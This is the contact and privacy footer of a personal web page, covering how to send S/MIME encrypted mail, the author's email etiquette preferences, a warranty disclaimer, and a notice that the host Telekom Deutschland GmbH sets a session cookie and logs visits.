Use the X.509 certificate to send S/MIME encrypted mail.
Note: email in weird format and without a proper sender name is likely to be discarded!
I dislike
HTML (and even
weirder formats too) in email, I prefer to receive plain text.
I also expect to see your full (real) name as sender, not your
nickname.
I abhor top posts and expect inline quotes in replies.
as iswithout any warranty, neither express nor implied.
cookiesin the web browser.
The web service is operated and provided by
Telekom Deutschland GmbH The web service provider stores a session cookie
in the web
browser and records every visit of this web site with the following
data in an access log on their server(s):